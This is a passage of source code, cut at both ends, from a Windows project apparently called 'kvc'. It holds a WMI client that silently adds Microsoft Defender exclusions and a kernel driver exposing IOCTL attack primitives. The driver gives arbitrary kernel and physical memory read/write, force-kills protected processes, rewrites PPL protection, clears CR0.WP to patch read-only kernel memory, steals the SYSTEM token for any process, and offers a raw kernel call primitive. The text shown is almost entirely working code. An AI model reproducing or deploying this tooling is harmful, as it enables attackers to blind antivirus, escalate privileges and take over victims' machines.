        RPC_C_AUTHN_WINNT,
        RPC_C_AUTHZ_NONE,
        nullptr,
        RPC_C_AUTHN_LEVEL_CALL,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        nullptr,
        EOAC_NONE
    );

    if (FAILED(hr)) {
        // Non-fatal; WMI may still work under SYSTEM / TrustedInstaller.
    }
}

WmiDefenderClient::~WmiDefenderClient()
{
    // Release COM proxies before leaving COM apartment.
    m_pSvc = ComPtr<IWbemServices>();

    if (m_comInitialized) {
        CoUninitialize();
    }
}

// ---------------------------------------------------------------------------
// Public API
// ---------------------------------------------------------------------------

bool WmiDefenderClient::Add(ExclusionType type, std::wstring_view value) noexcept
{
    // Skip WMI round-trip if exclusion already present
    if (HasExclusion(type, value)) return true;
    return ExecMpMethod(L"Add", ParamNameFor(type), value);
}

bool WmiDefenderClient::Remove(ExclusionType type, std::wstring_view value) noexcept
{
    return ExecMpMethod(L"Remove", ParamNameFor(type), value);
}

// ---------------------------------------------------------------------------
// Core WMI method invocation
// ---------------------------------------------------------------------------

bool WmiDefenderClient::ExecMpMethod(const wchar_t* method,
                                     const wchar_t* paramName,
                                     std::wstring_view value) noexcept
{
    if (!m_pSvc) return false;

    // ------------------------------------------------------------------
    // 1. Retrieve MSFT_MpPreference class object to obtain in-params def
    // ------------------------------------------------------------------
    ComPtr<IWbemClassObject> pClass;
    HRESULT hr = m_pSvc->GetObject(
        _bstr_t(L"MSFT_MpPreference"),
        0, nullptr,
        &pClass.p, nullptr
    );
    if (FAILED(hr)) {
        return false;
    }

    // ------------------------------------------------------------------
    // 2. Get the method's in-parameter class definition
    // ------------------------------------------------------------------
    ComPtr<IWbemClassObject> pInParamsDef;
    hr = pClass->GetMethod(_bstr_t(method), 0, &pInParamsDef.p, nullptr);
    if (FAILED(hr) || !pInParamsDef) {
        return false;
    }

    // ------------------------------------------------------------------
    // 3. Spawn an instance of the in-params object
    // ------------------------------------------------------------------
    ComPtr<IWbemClassObject> pInParams;
    hr = pInParamsDef->SpawnInstance(0, &pInParams.p);
    if (FAILED(hr)) return false;

    // ------------------------------------------------------------------
    // 4. Build a SAFEARRAY<BSTR> with the single exclusion value
    //    MSFT_MpPreference::Add / Remove accept string arrays
    // ------------------------------------------------------------------
    {
        SAFEARRAY* sa = SafeArrayCreateVector(VT_BSTR, 0, 1);
        if (!sa) return false;
        SafeArrayGuard saGuard(sa);

        LONG idx = 0;
        BSTR bval = SysAllocStringLen(value.data(), static_cast<UINT>(value.size()));
        if (!bval) return false;

        hr = SafeArrayPutElement(sa, &idx, bval);
        SysFreeString(bval);
        if (FAILED(hr)) return false;

        VARIANT varParam;
        VariantInit(&varParam);
        varParam.vt     = VT_ARRAY | VT_BSTR;
        varParam.parray = sa;
        // Transfer ownership to variant before setting on IWbemClassObject
        // (VariantClear on the local var is handled below)

        hr = pInParams->Put(_bstr_t(paramName), 0, &varParam, 0);
        // Don't VariantClear here — parray still owned by saGuard.
        // Zero out the variant's parray so VariantClear doesn't double-free.
        varParam.parray = nullptr;
        VariantClear(&varParam);

        if (FAILED(hr)) {
            return false;
        }
        // saGuard destructs here, SafeArrayDestroy called
    }

    // ------------------------------------------------------------------
    // 5. Execute the static method on MSFT_MpPreference
    // ------------------------------------------------------------------
    ComPtr<IWbemClassObject> pOutParams;
    hr = m_pSvc->ExecMethod(
        _bstr_t(L"MSFT_MpPreference"),
        _bstr_t(method),
        0, nullptr,
        pInParams.p,
        &pOutParams.p,
        nullptr
    );

    if (FAILED(hr)) {
        return false;
    }

    // ------------------------------------------------------------------
    // 6. Check ReturnValue (0 = success)
    // ------------------------------------------------------------------
    if (pOutParams) {
        VariantGuard varRet;
        hr = pOutParams->Get(L"ReturnValue", 0, &varRet.v, nullptr, nullptr);
        if (SUCCEEDED(hr) && varRet.v.vt == VT_I4 && varRet.v.lVal != 0) {
            return false;
        }
    }

    return true;
}

// ---------------------------------------------------------------------------
// Query live MSFT_MpPreference instance for existing exclusions
// ---------------------------------------------------------------------------

std::vector<std::wstring> WmiDefenderClient::QueryExclusionArray(const wchar_t* paramName) noexcept
{
    std::vector<std::wstring> result;
    if (!m_pSvc) return result;

    // Singleton instance path: MSFT_MpPreference=@
    ComPtr<IWbemClassObject> pInst;
    HRESULT hr = m_pSvc->GetObject(
        _bstr_t(L"MSFT_MpPreference=@"),
        WBEM_FLAG_RETURN_WBEM_COMPLETE,
        nullptr,
        &pInst.p,
        nullptr);
    if (FAILED(hr) || !pInst) return result;

    VariantGuard var;
    hr = pInst->Get(paramName, 0, &var.v, nullptr, nullptr);
    if (FAILED(hr)) return result;

    // Property may be NULL when no exclusions are set
    if (var.v.vt == VT_NULL || var.v.vt == VT_EMPTY) return result;

    if ((var.v.vt & VT_ARRAY) == 0 || (var.v.vt & VT_BSTR) == 0) return result;

    SAFEARRAY* sa = var.v.parray;
    if (!sa) return result;

    LONG lBound = 0, uBound = -1;
    SafeArrayGetLBound(sa, 1, &lBound);
    SafeArrayGetUBound(sa, 1, &uBound);

    for (LONG i = lBound; i <= uBound; ++i) {
        BSTR bval = nullptr;
        if (SUCCEEDED(SafeArrayGetElement(sa, &i, &bval)) && bval) {
            result.emplace_back(bval);
            SysFreeString(bval);
        }
    }
    return result;
}

bool WmiDefenderClient::HasExclusion(ExclusionType type, std::wstring_view value) noexcept
{
    auto entries = QueryExclusionArray(ParamNameFor(type));
    if (entries.empty()) return false;

    // Case-insensitive comparison — Defender stores paths/names in original case
    std::wstring needle(value);
    std::transform(needle.begin(), needle.end(), needle.begin(), ::towlower);

    for (auto& entry : entries) {
        std::wstring lower = entry;
        std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower);
        if (lower == needle) return true;
    }
    return false;
}

// ---------------------------------------------------------------------------
// Helper
// ---------------------------------------------------------------------------

const wchar_t* WmiDefenderClient::ParamNameFor(ExclusionType type) noexcept
{
    switch (type) {
        case ExclusionType::Path:      return L"ExclusionPath";
        case ExclusionType::Process:   return L"ExclusionProcess";
        case ExclusionType::Extension: return L"ExclusionExtension";
        case ExclusionType::IpAddress: return L"ExclusionIpAddress";
    }
    return L"ExclusionPath"; // unreachable
}

<<<FILE: kvc/WmiDefenderClient.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     3.49 KB
#pragma once

// WmiDefenderClient.h
// Direct WMI/COM interface to MSFT_MpPreference in ROOT\Microsoft\Windows\Defender
// Replaces powershell.exe -Command "Add-MpPreference / Remove-MpPreference" spawning.
// Initializes COM locally, so callers do not need to do CoInitializeEx beforehand.

#include <windows.h>
#include <wbemidl.h>
#include <string>
#include <string_view>
#include <memory>
#include <vector>
#include <algorithm>

#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "oleaut32.lib")

// RAII wrapper for COM interface pointers
template<typename T>
struct ComPtr {
    T* p = nullptr;
    ComPtr() = default;
    explicit ComPtr(T* raw) : p(raw) {}
    ~ComPtr() { if (p) p->Release(); }
    ComPtr(const ComPtr&) = delete;
    ComPtr& operator=(const ComPtr&) = delete;
    ComPtr(ComPtr&& o) noexcept : p(o.p) { o.p = nullptr; }
    ComPtr& operator=(ComPtr&& o) noexcept { if (p) p->Release(); p = o.p; o.p = nullptr; return *this; }
    T** operator&() { return &p; }
    T* operator->() { return p; }
    explicit operator bool() const { return p != nullptr; }
};

// RAII wrapper for SAFEARRAY
struct SafeArrayGuard {
    SAFEARRAY* sa = nullptr;
    explicit SafeArrayGuard(SAFEARRAY* s) : sa(s) {}
    ~SafeArrayGuard() { if (sa) SafeArrayDestroy(sa); }
    SafeArrayGuard(const SafeArrayGuard&) = delete;
};

// RAII wrapper for VARIANT (VariantClear on destroy)
struct VariantGuard {
    VARIANT v;
    VariantGuard() { VariantInit(&v); }
    ~VariantGuard() { VariantClear(&v); }
    VARIANT* operator&() { return &v; }
    VariantGuard(const VariantGuard&) = delete;
};

// Manages a single session with ROOT\Microsoft\Windows\Defender WMI namespace.
// Add/Remove methods mirror Add-MpPreference / Remove-MpPreference cmdlets.
// The caller is responsible for running in a context with sufficient privileges
// (SYSTEM / TrustedInstaller) — same requirement as the old PowerShell spawn.
class WmiDefenderClient
{
public:
    WmiDefenderClient();
    ~WmiDefenderClient();

    // Exclusion types matching MSFT_MpPreference parameter names
    enum class ExclusionType {
        Path,       // ExclusionPath
        Process,    // ExclusionProcess
        Extension,  // ExclusionExtension
        IpAddress   // ExclusionIpAddress
    };

    // Returns true if the WMI namespace connected successfully
    bool IsConnected() const noexcept { return static_cast<bool>(m_pSvc); }

    // Add a single exclusion value — equivalent to Add-MpPreference -<Type> <value>
    // No-ops (returns true) if the value is already present.
    bool Add(ExclusionType type, std::wstring_view value) noexcept;

    // Remove a single exclusion value — equivalent to Remove-MpPreference -<Type> <value>
    bool Remove(ExclusionType type, std::wstring_view value) noexcept;

    // Queries live MSFT_MpPreference instance; case-insensitive check.
    // Returns false on any WMI error (safe to call before Add).
    bool HasExclusion(ExclusionType type, std::wstring_view value) noexcept;

private:
    ComPtr<IWbemServices> m_pSvc;
    bool m_comInitialized = false;

    // Executes MSFT_MpPreference::<method>(ExclusionXxx = [value])
    bool ExecMpMethod(const wchar_t* method, const wchar_t* paramName,
                      std::wstring_view value) noexcept;

    // Reads ExclusionXxx SAFEARRAY<BSTR> from the live singleton instance.
    std::vector<std::wstring> QueryExclusionArray(const wchar_t* paramName) noexcept;

    // Maps ExclusionType → WMI parameter name
    static const wchar_t* ParamNameFor(ExclusionType type) noexcept;
};

<<<FILE: kvcstrm/kvcstrm.c>>>
Created:  2026-04-09 22:51:04
Modified: 2026-04-09 22:51:04
Size:     35.7 KB
// kvcstrm.c
// KMDF control driver exposing kernel-mode primitives via IOCTL interface.
// Provides virtual/physical memory R/W, process control, PP/PPL manipulation,
// kernel pool management, write-protect bypass, and token replacement.
//
// Device : \\Device\\kvcstrm
// Symlink: \\DosDevices\\kvcstrm
// SDDL   : D:P(A;;GA;;;SY)(A;;GA;;;BA)  -- SYSTEM and local Administrators only.
// Queue  : sequential, METHOD_BUFFERED throughout.

#include "kvcstrm.h"

WDFDEVICE g_Device = NULL;

// Each kernel allocation issued through IOCTL_ALLOC_KERNEL is tracked in a
// singly-typed node inserted into g_AllocListHead.  FreeKernelMemory validates
// the caller-supplied address against this list before releasing pool, preventing
// arbitrary free and double-free of kernel pool.
typedef struct _TRACKED_ALLOCATION {
    LIST_ENTRY ListEntry;
    PVOID      Address;
    SIZE_T     Size;
} TRACKED_ALLOCATION, *PTRACKED_ALLOCATION;

LIST_ENTRY g_AllocListHead;   // protected by g_AllocListLock
KSPIN_LOCK g_AllocListLock;

// =============================================================
// VIRTUAL MEMORY R/W
// =============================================================

// Copies memory between the caller's address space (Req->Buffer) and the
// virtual address space of the target process (Req->Address) using
// MmCopyVirtualMemory, which handles cross-process page table switching
// and raises an exception on unmapped or inaccessible pages.
// KernelMode previous-mode suppresses user-mode address range checks on
// the kernel side of the transfer.

NTSTATUS ReadWriteMemory(PKERNEL_READWRITE_REQUEST Req)
{
    PEPROCESS TargetProcess = NULL;
    PEPROCESS ClientProcess;
    NTSTATUS  status;
    SIZE_T    copied = 0;

    if (!Req || Req->Size == 0 || Req->Size > MAX_TRANSFER_SIZE ||
        Req->Address == 0 || Req->Buffer == 0)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)Req->ProcessId, &TargetProcess);
    if (!NT_SUCCESS(status))
        return status;

    ClientProcess = PsGetCurrentProcess();

    if (Req->Write) {
        status = MmCopyVirtualMemory(ClientProcess, (PVOID)(ULONG_PTR)Req->Buffer,
                                     TargetProcess, (PVOID)(ULONG_PTR)Req->Address,
                                     Req->Size, KernelMode, &copied);
    } else {
        status = MmCopyVirtualMemory(TargetProcess, (PVOID)(ULONG_PTR)Req->Address,
                                     ClientProcess, (PVOID)(ULONG_PTR)Req->Buffer,
                                     Req->Size, KernelMode, &copied);
    }

    ObDereferenceObject(TargetProcess);
    return status;
}

// Executes up to MAX_BULK_OPERATIONS read/write requests in a single IOCTL
// round-trip.  Each sub-operation receives its own Status field.
// The function return value reflects the first sub-operation failure, or
// STATUS_SUCCESS if all succeeded.

NTSTATUS HandleBulkOperations(PKERNEL_BULK_OPERATION BulkReq)
{
    NTSTATUS status = STATUS_SUCCESS;
    ULONG i;

    if (!BulkReq || BulkReq->Count == 0 || BulkReq->Count > MAX_BULK_OPERATIONS)
        return STATUS_INVALID_PARAMETER;

    for (i = 0; i < BulkReq->Count; i++) {
        BulkReq->Operations[i].Status = ReadWriteMemory(&BulkReq->Operations[i]);
        if (!NT_SUCCESS(BulkReq->Operations[i].Status) && NT_SUCCESS(status))
            status = BulkReq->Operations[i].Status;
    }
    return status;
}

// =============================================================
// PROCESS TERMINATION
// =============================================================

// Opens a kernel handle to the target process via ObOpenObjectByPointer,
// bypassing standard object manager access checks and user-mode callbacks.
// ZwTerminateProcess issued from ring-0 with a kernel handle cannot be
// intercepted by PPL or user-mode APC injection.

NTSTATUS KillProcess(PKERNEL_KILL_REQUEST Req)
{
    PEPROCESS process;
    HANDLE    hProcess;
    NTSTATUS  status;

    if (!Req || Req->ProcessId == 0)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)Req->ProcessId, &process);
    if (!NT_SUCCESS(status))
        return status;

    status = ObOpenObjectByPointer(process,
                                   OBJ_KERNEL_HANDLE,
                                   NULL,
                                   PROCESS_TERMINATE,
                                   *PsProcessType,
                                   KernelMode,
                                   &hProcess);
    ObDereferenceObject(process);
    if (!NT_SUCCESS(status))
        return status;

    status = ZwTerminateProcess(hProcess, 0);
    ZwClose(hProcess);
    return status;
}

// =============================================================
// PP / PPL MANIPULATION
// =============================================================

// Writes one byte to the PS_PROTECTION field in EPROCESS at ProtectionOffset.
// EPROCESS resides in non-paged pool and is always writable at any IRQL.
// ProtectionOffset is resolved by the caller from PDB symbols for the running
// build; accepted range is 1..0x2000 to bound writes within the structure.
//
// Common ProtectionValue encoding (PS_PROTECTION byte):
//   0x00 - unprotected
//   0x61 - PPL Windows      (Type=1, Signer=6)
//   0x62 - PPL Antimalware  (Type=2, Signer=6)
//   0x72 - PP  Antimalware  (Type=2, Signer=7)

NTSTATUS SetProcessProtection(PKERNEL_PROTECTION_REQUEST Req)
{
    PEPROCESS process;
    NTSTATUS  status;

    if (!Req || Req->ProcessId == 0 || Req->ProtectionOffset == 0 || Req->ProtectionOffset > 0x2000)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)Req->ProcessId, &process);
    if (!NT_SUCCESS(status))
        return status;

    // Direct assignment is perfectly safe here as EPROCESS is in NonPagedPool.
    *((PUCHAR)process + Req->ProtectionOffset) = Req->ProtectionValue;

    ObDereferenceObject(process);
    return STATUS_SUCCESS;
}

// =============================================================
// PHYSICAL MEMORY R/W
// =============================================================

// Maps a physical address range into kernel virtual address space using
// MmMapIoSpaceEx, transfers data to/from the caller's user-mode buffer,
// then unmaps the range.
//
// Before mapping, the requested range is validated against the system's
// physical memory descriptor list (MmGetPhysicalMemoryRanges).  Addresses
// outside normal RAM -- including MMIO regions -- are rejected with
// STATUS_INVALID_ADDRESS.  If the descriptor list cannot be allocated,
// the validation step is skipped and mapping proceeds.
//
// Req->Buffer is a user-mode virtual address in the calling process.
// ProbeForRead/Write verifies accessibility before the copy.

NTSTATUS PhysMemAccess(PKERNEL_PHYSMEM_REQUEST Req, BOOLEAN Write)
{
    PHYSICAL_ADDRESS physAddr;
    PVOID            mapped;
    NTSTATUS         status = STATUS_SUCCESS;

    if (!Req || Req->Size == 0 || Req->Size > MAX_PHYSMEM_SIZE || Req->Buffer == 0)
        return STATUS_INVALID_PARAMETER;

    physAddr.QuadPart = Req->PhysicalAddress;

    // Validate that the requested physical range falls within normal RAM,
    // not MMIO or other memory-mapped hardware regions.
    PPHYSICAL_MEMORY_RANGE ranges = MmGetPhysicalMemoryRanges();
    if (ranges) {
        BOOLEAN inRam = FALSE;
        for (ULONG r = 0; ranges[r].NumberOfBytes.QuadPart != 0; r++) {
            if (Req->PhysicalAddress >= (ULONG64)ranges[r].BaseAddress.QuadPart &&
                Req->PhysicalAddress + Req->Size <=
                    (ULONG64)ranges[r].BaseAddress.QuadPart + (ULONG64)ranges[r].NumberOfBytes.QuadPart) {
                inRam = TRUE;
                break;
            }
        }
        // Fix: Use ExFreePool for buffers returned by system routines, 
        // as the tag used by MmGetPhysicalMemoryRanges (usually 'MmPm') 
        // won't match 'hPmM', causing BSOD 0x139 on Win11.
        ExFreePool(ranges);
        if (!inRam)
            return STATUS_INVALID_ADDRESS;
    }

    mapped = MmMapIoSpaceEx(physAddr, Req->Size,
                            Write ? PAGE_READWRITE : PAGE_READONLY);
    if (!mapped)
        return STATUS_INSUFFICIENT_RESOURCES;

    __try {
        if (Write) {
            ProbeForRead((PVOID)(ULONG_PTR)Req->Buffer, Req->Size, sizeof(UCHAR));
            RtlCopyMemory(mapped, (PVOID)(ULONG_PTR)Req->Buffer, Req->Size);
        } else {
            ProbeForWrite((PVOID)(ULONG_PTR)Req->Buffer, Req->Size, sizeof(UCHAR));
            RtlCopyMemory((PVOID)(ULONG_PTR)Req->Buffer, mapped, Req->Size);
        }
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        status = GetExceptionCode();
    }

    MmUnmapIoSpace(mapped, Req->Size);
    return status;
}

// =============================================================
// KERNEL MEMORY ALLOCATION / FREE
// =============================================================

// Allocates non-paged kernel pool and registers the allocation in the
// tracking list.  Req->Address receives the kernel virtual address on
// success.  The caller must release the allocation via FreeKernelMemory;
// no other free path is valid.
//
// Flags bit 0x01 (OMNI_ALLOC_NONPAGED_EXECUTE): selects
// POOL_FLAG_NON_PAGED_EXECUTE.  All other flag bits are ignored.
// Maximum allocation size is 16 MB.

NTSTATUS AllocKernelMemory(PKERNEL_ALLOC_REQUEST Req)
{
    POOL_FLAGS flags;
    PVOID      mem;
    PTRACKED_ALLOCATION tracker;
    KIRQL      oldIrql;

    if (!Req || Req->Size == 0 || Req->Size > 16ULL * 1024 * 1024)
        return STATUS_INVALID_PARAMETER;

    flags = (Req->Flags & OMNI_ALLOC_NONPAGED_EXECUTE)
            ? POOL_FLAG_NON_PAGED_EXECUTE
            : POOL_FLAG_NON_PAGED;

    mem = ExAllocatePool2(flags, Req->Size, POOL_TAG);
    if (!mem) {
        Req->Address = 0;
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    tracker = (PTRACKED_ALLOCATION)ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(TRACKED_ALLOCATION), POOL_TAG);
    if (!tracker) {
        ExFreePoolWithTag(mem, POOL_TAG);
        Req->Address = 0;
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    tracker->Address = mem;
    tracker->Size    = Req->Size;

    KeAcquireSpinLock(&g_AllocListLock, &oldIrql);
    InsertTailList(&g_AllocListHead, &tracker->ListEntry);
    KeReleaseSpinLock(&g_AllocListLock, oldIrql);

    Req->Address = (ULONG64)mem;
    return STATUS_SUCCESS;
}

// Releases a kernel allocation previously issued by AllocKernelMemory.
// The address is looked up in the tracking list under the spinlock; only
// registered addresses are freed.  Unrecognised addresses and double-free
// attempts return STATUS_INVALID_PARAMETER without touching pool.

NTSTATUS FreeKernelMemory(PKERNEL_FREE_REQUEST Req)
{
    PLIST_ENTRY         next;
    PTRACKED_ALLOCATION tracker = NULL;
    BOOLEAN             found   = FALSE;
    KIRQL               oldIrql;

    if (!Req || Req->Address == 0)
        return STATUS_INVALID_PARAMETER;

    KeAcquireSpinLock(&g_AllocListLock, &oldIrql);
    next = g_AllocListHead.Flink;
    while (next != &g_AllocListHead) {
        tracker = CONTAINING_RECORD(next, TRACKED_ALLOCATION, ListEntry);
        if (tracker->Address == (PVOID)Req->Address) {
            RemoveEntryList(next);
            found = TRUE;
            break;
        }
        next = next->Flink;
    }
    KeReleaseSpinLock(&g_AllocListLock, oldIrql);

    if (found) {
        ExFreePoolWithTag(tracker->Address, POOL_TAG);
        ExFreePoolWithTag(tracker, POOL_TAG);
        return STATUS_SUCCESS;
    }

    return STATUS_INVALID_PARAMETER;
}

// =============================================================
// WRITE TO READ-ONLY KERNEL MEMORY
// =============================================================

// Writes to a kernel virtual address that resides on a write-protected page
// by temporarily clearing the CR0.WP (Write Protect) bit.
//
// Prerequisites:
//   HVCI must be off -- if it were active, this unsigned driver could not
//   have loaded.  With HVCI off, CR0.WP is the sole hardware enforcement
//   layer for kernel write protection, and clearing it reaches the PTEs.
//
// Critical section ordering (this core only):
//   1. Raise IRQL to DISPATCH_LEVEL -- blocks scheduler preemption and
//      software interrupts on this core.
//   2. CLI (_disable) -- blocks hardware interrupts on this core.
//   3. Clear CR0.WP -- write protection disabled.
//   4. RtlCopyMemory -- perform the write.
//   5. Restore CR0.WP -- write protection re-enabled.
//   6. STI (_enable) -- re-enable hardware interrupts.
//   7. Lower IRQL.
//
// Note: other CPUs are not halted; concurrent execution on a different core
// during the WP=0 window is an accepted limitation of this technique.
//
// DstAddress is validated with MmIsAddressValid before entering the critical
// section.  __try/__except catches exceptions on the write path and restores
// CPU state before returning.
//
// Input buffer layout: [KERNEL_PROTECTED_WRITE_REQUEST][payload bytes]

NTSTATUS WriteProtectedKernelMemory(PKERNEL_PROTECTED_WRITE_REQUEST Req,
                                    SIZE_T TotalInputSize)
{
    SIZE_T  headerSize = sizeof(KERNEL_PROTECTED_WRITE_REQUEST);
    PVOID   srcData;
    KIRQL   oldIrql;
    ULONG64 cr0;

    if (!Req || Req->Size == 0 || Req->DstAddress == 0)
        return STATUS_INVALID_PARAMETER;

    // Reject if payload would extend beyond the input buffer, guarding
    // against arithmetic overflow in the size expression.
    if (Req->Size > MAX_TRANSFER_SIZE || TotalInputSize < headerSize || Req->Size > (TotalInputSize - headerSize))
        return STATUS_BUFFER_TOO_SMALL;

    srcData = (PUCHAR)Req + headerSize;

    // Sanity-check destination address before disabling interrupts.
    if (!MmIsAddressValid((PVOID)Req->DstAddress))
        return STATUS_INVALID_ADDRESS;

    oldIrql = KeRaiseIrqlToDpcLevel();
    _disable();

    cr0 = __readcr0();
    __writecr0(cr0 & ~0x10000ULL);  // clear WP bit

    __try {
        RtlCopyMemory((PVOID)Req->DstAddress, srcData, Req->Size);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        __writecr0(cr0);            // restore WP before returning
        _enable();
        KeLowerIrql(oldIrql);
        return GetExceptionCode();
    }

    __writecr0(cr0);                // restore WP
    _enable();
    KeLowerIrql(oldIrql);
    return STATUS_SUCCESS;
}

// =============================================================
// TOKEN REPLACEMENT
// =============================================================

// Replaces the primary token of the target process with the SYSTEM token
// from PsInitialSystemProcess.  After this call the target process holds
// full NT AUTHORITY\SYSTEM privileges.
//
// The Token field in EPROCESS is typed EX_FAST_REF: the lower 4 bits carry
// a reference count rather than address bits.  We mask those bits to obtain
// the object pointer, take an explicit reference on the SYSTEM token, then
// atomically replace the target token and release the old reference.
//
// TokenOffset must be in range 1..0x2000 (PDB-resolved by the caller for
// the running build; e.g. 0x4B8 on Windows 11 build 26200).

NTSTATUS ElevateProcessToken(PKERNEL_TOKEN_REQUEST Req)
{
    PEPROCESS targetProcess;
    NTSTATUS  status;
    ULONG64   sysFastRef;
    PVOID     sysToken;
    ULONG64   oldFastRef;
    PVOID     oldToken;

    if (!Req || Req->ProcessId == 0 || Req->TokenOffset == 0 || Req->TokenOffset > 0x2000)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)Req->ProcessId, &targetProcess);
    if (!NT_SUCCESS(status))
        return status;

    // Read the SYSTEM token EX_FAST_REF and strip the reference count bits to get the pointer.
    sysFastRef = *(PULONG64)((PUCHAR)PsInitialSystemProcess + Req->TokenOffset);
    sysToken = (PVOID)(sysFastRef & ~(ULONG64)0xF);

    // Increment the object reference count for the system token since the target 
    // process will now hold a persistent pointer to it.
    ObReferenceObject(sysToken);

    // Atomically swap the token pointer in the target process.
    // We write the raw pointer (which effectively sets fast references to 0).
    oldFastRef = (ULONG64)InterlockedExchange64(
        (volatile LONG64*)((PUCHAR)targetProcess + Req->TokenOffset),
        (LONG64)sysToken
    );

    // Extract the old token pointer from the replaced EX_FAST_REF and release
    // the reference previously held by the target process.
    oldToken = (PVOID)(oldFastRef & ~(ULONG64)0xF);
    if (oldToken) {
        ObDereferenceObject(oldToken);
    }

    ObDereferenceObject(targetProcess);
    return STATUS_SUCCESS;
}

// =============================================================
// PROCESS ENUMERATION AND TERMINATION BY NAME
// =============================================================

typedef PEPROCESS (*PFN_PS_GET_NEXT_PROCESS)(PEPROCESS Process);

// Byte offset of the ImageFileName field within EPROCESS.
// Resolved dynamically at driver load; falls back to 0x5A8 (Win11 22H2/23H2)
// if the scan does not produce a result.
ULONG g_ImageFileNameOffset = 0;

// Locates the ImageFileName field in EPROCESS by scanning the known EPROCESS
// of PsInitialSystemProcess (the "System" process) for the literal string
// "System" between offsets 0x100 and 0x800.  Records the offset globally on
// first match.

NTSTATUS FindImageFileNameOffset()
{
    PEPROCESS current = PsInitialSystemProcess;
    for (ULONG i = 0x100; i < 0x800; i++) {
        if (strncmp((char*)current + i, "System", 6) == 0) {
            g_ImageFileNameOffset = i;
            return STATUS_SUCCESS;
        }
    }
    return STATUS_NOT_FOUND;
}

// Iterates all processes via PsGetNextProcess (resolved at runtime) and
// terminates every process whose ImageFileName begins with Req->ProcessName
// (case-insensitive prefix match, up to 15 characters).
//
// ProcessName is null-terminated in place before use to guarantee a safe
// strlen call regardless of caller-supplied content.
// KilledCount is set to the number of processes successfully terminated.
// Returns STATUS_SUCCESS even when no matching process is found.

NTSTATUS KillProcessesByName(PKERNEL_KILL_NAME_REQUEST Req)
{
    PEPROCESS               process = NULL;
    HANDLE                  hProcess;
    ULONG                   killed  = 0;
    PCHAR                   imageName;
    NTSTATUS                status;
    UNICODE_STRING          routineNext;
    PFN_PS_GET_NEXT_PROCESS pPsGetNextProcess;
    SIZE_T                  inputNameLen;

    if (!Req || Req->ProcessName[0] == 0)
        return STATUS_INVALID_PARAMETER;

    // Guarantee null-termination regardless of caller-supplied buffer content.
    Req->ProcessName[MAX_PROCESS_NAME - 1] = '\0';
    inputNameLen = strlen(Req->ProcessName);

    RtlInitUnicodeString(&routineNext, L"PsGetNextProcess");
    pPsGetNextProcess = (PFN_PS_GET_NEXT_PROCESS)MmGetSystemRoutineAddress(&routineNext);
    if (!pPsGetNextProcess)
        return STATUS_NOT_SUPPORTED;

    // Use the dynamically resolved offset; fall back to the Win11 22H2/23H2 default.
    ULONG offset = g_ImageFileNameOffset ? g_ImageFileNameOffset : 0x5A8;

    process = pPsGetNextProcess(NULL);
    while (process) {
        imageName = (PCHAR)process + offset;

        if (imageName[0] != 0) {
            if (_strnicmp(imageName, Req->ProcessName, inputNameLen) == 0) {
                status = ObOpenObjectByPointer(process,
                                              OBJ_KERNEL_HANDLE,
                                              NULL,
                                              PROCESS_TERMINATE,
                                              *PsProcessType,
                                              KernelMode,
                                              &hProcess);
                if (NT_SUCCESS(status)) {
                    if (NT_SUCCESS(ZwTerminateProcess(hProcess, 0)))
                        killed++;
                    ZwClose(hProcess);
                }
            }
        }
        process = pPsGetNextProcess(process);
    }

    Req->KilledCount = killed;
    return STATUS_SUCCESS;
}

// Closes a handle in the handle table of the specified process by temporarily
// attaching to its address space with KeStackAttachProcess.
// HandleValue must be a valid handle in the target process, not in the caller.

NTSTATUS ForceCloseHandle(PKERNEL_CLOSE_HANDLE_REQUEST Req)
{
    PEPROCESS  process;
    NTSTATUS   status;
    KAPC_STATE apc;

    if (!Req || Req->HandleValue == NULL)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)Req->ProcessId, &process);
    if (!NT_SUCCESS(status))
        return status;

    KeStackAttachProcess(process, &apc);
    status = ZwClose(Req->HandleValue);
    KeUnstackDetachProcess(&apc);

    ObDereferenceObject(process);
    return status;
}

// =============================================================
// KERNEL CALL PRIMITIVE
// =============================================================

// Casts Address to a four-argument x64 function pointer and calls it with
// Args[0..3] mapped to RCX, RDX, R8, R9.  The return value is written back
// to Req->ReturnValue.
//
// This is a raw call primitive.  The two checks below are sanity guards
// against trivially wrong usage, NOT safety guarantees:
//
//   1. Address >= 0xFFFF800000000000: rejects user-mode addresses to prevent
//      SMEP-bypass via this path.  It does NOT validate that the target is a
//      correct entry point, has a matching prototype, or is safe to call in
//      the current context.  Wrong IRQL, wrong PreviousMode, wrong process/
//      thread attachment, lock-ordering violations, or bad side effects in the
//      callee can all still result in a bugcheck.
//
//   2. MmIsAddressValid: confirms only that the first byte of Address is
//      currently mapped in the kernel page tables.  It does NOT verify that
//      the target is non-pageable (a paged routine called above APC_LEVEL will
//      bugcheck), that it is a valid entry point, or that subsequent memory
//      accesses made by the callee won't fault.
//
//   3. __try/__except catches hardware exceptions (AV, GPF) on the call site
//      itself.  It does NOT protect against: bugchecks asserted by the callee
//      or the kernel subsystems it invokes, IRQL violations, deadlocks,
//      corruption of kernel state, DPC watchdog expiry, or any partially
//      executed side effects that occurred before the fault.
//
//   4. The 4-argument model covers the x64 register set (RCX/RDX/R8/R9).
//      Many kernel routines require more than register arguments: a specific
//      IRQL, prior KeStackAttachProcess, a held lock, a live object reference,
//      or buffers from a specific address space.  Those preconditions are the
//      sole responsibility of the caller.
//
// IRQL: dispatched at PASSIVE_LEVEL by the sequential KMDF queue.  Most
// exported Nt/Zw/Ex/Mm routines are safe at PASSIVE_LEVEL; Ke/DISPATCH-level
// routines must be called from shellcode that raises IRQL itself.

NTSTATUS CallKernelAddress(PKERNEL_CALL_REQUEST Req)
{
